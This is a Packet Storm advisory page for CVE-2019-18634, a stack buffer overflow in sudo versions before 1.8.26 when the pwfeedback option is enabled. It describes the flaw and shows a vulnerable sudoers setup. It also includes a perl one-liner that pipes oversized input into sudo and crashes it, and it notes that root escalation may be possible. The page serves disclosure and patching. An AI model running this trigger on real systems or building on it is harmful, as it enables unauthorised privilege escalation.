exploit the possibilities

Sudo 1.8.25p Buffer Overflow

Sudo 1.8.25p Buffer Overflow
Posted Feb 4, 2020
Authored by Joe Vennix

Sudo version 1.8.25p suffers from a buffer overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2019-18634
MD5 | 233691530ff76c01d3ab563e31879327

Sudo 1.8.25p Buffer Overflow

Change Mirror Download
# Title: Sudo 1.8.25p - Buffer Overflow
# Date: 2020-01-30
# Author: Joe Vennix
# Software: Sudo
# Versions: Sudo versions prior to 1.8.26
# CVE: CVE-2019-18634
# Reference: https://www.sudo.ws/alerts/pwfeedback.html

# Sudo's pwfeedback option can be used to provide visual feedback when the user is inputting
# their password. For each key press, an asterisk is printed. This option was added in
# response to user confusion over how the standard Password: prompt disables the echoing
# of key presses. While pwfeedback is not enabled by default in the upstream version of sudo,
# some systems, such as Linux Mint and Elementary OS, do enable it in their default sudoers files.

# Due to a bug, when the pwfeedback option is enabled in the sudoers file, a user may be able to trigger a stack-based buffer overflow.
# This bug can be triggered even by users not listed in the sudoers file. There is no impact unless pwfeedback has been enabled.

The folowing sudoers configuration is vulnerable:

$ sudo -l
Matching Defaults entries for millert on linux-build:
insults, pwfeedback, mail_badpass, mailerpath=/usr/sbin/sendmail

User millert may run the following commands on linux-build:
(ALL : ALL) ALL

# Exploiting the bug does not require sudo permissions, merely that pwfeedback be enabled.
# The bug can be reproduced by passing a large input to sudo via a pipe when it prompts for a password.

$ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id
Password: Segmentation fault

If pwfeedback is enabled in sudoers, the stack overflow may allow unprivileged users to escalate to the root account.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    11 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close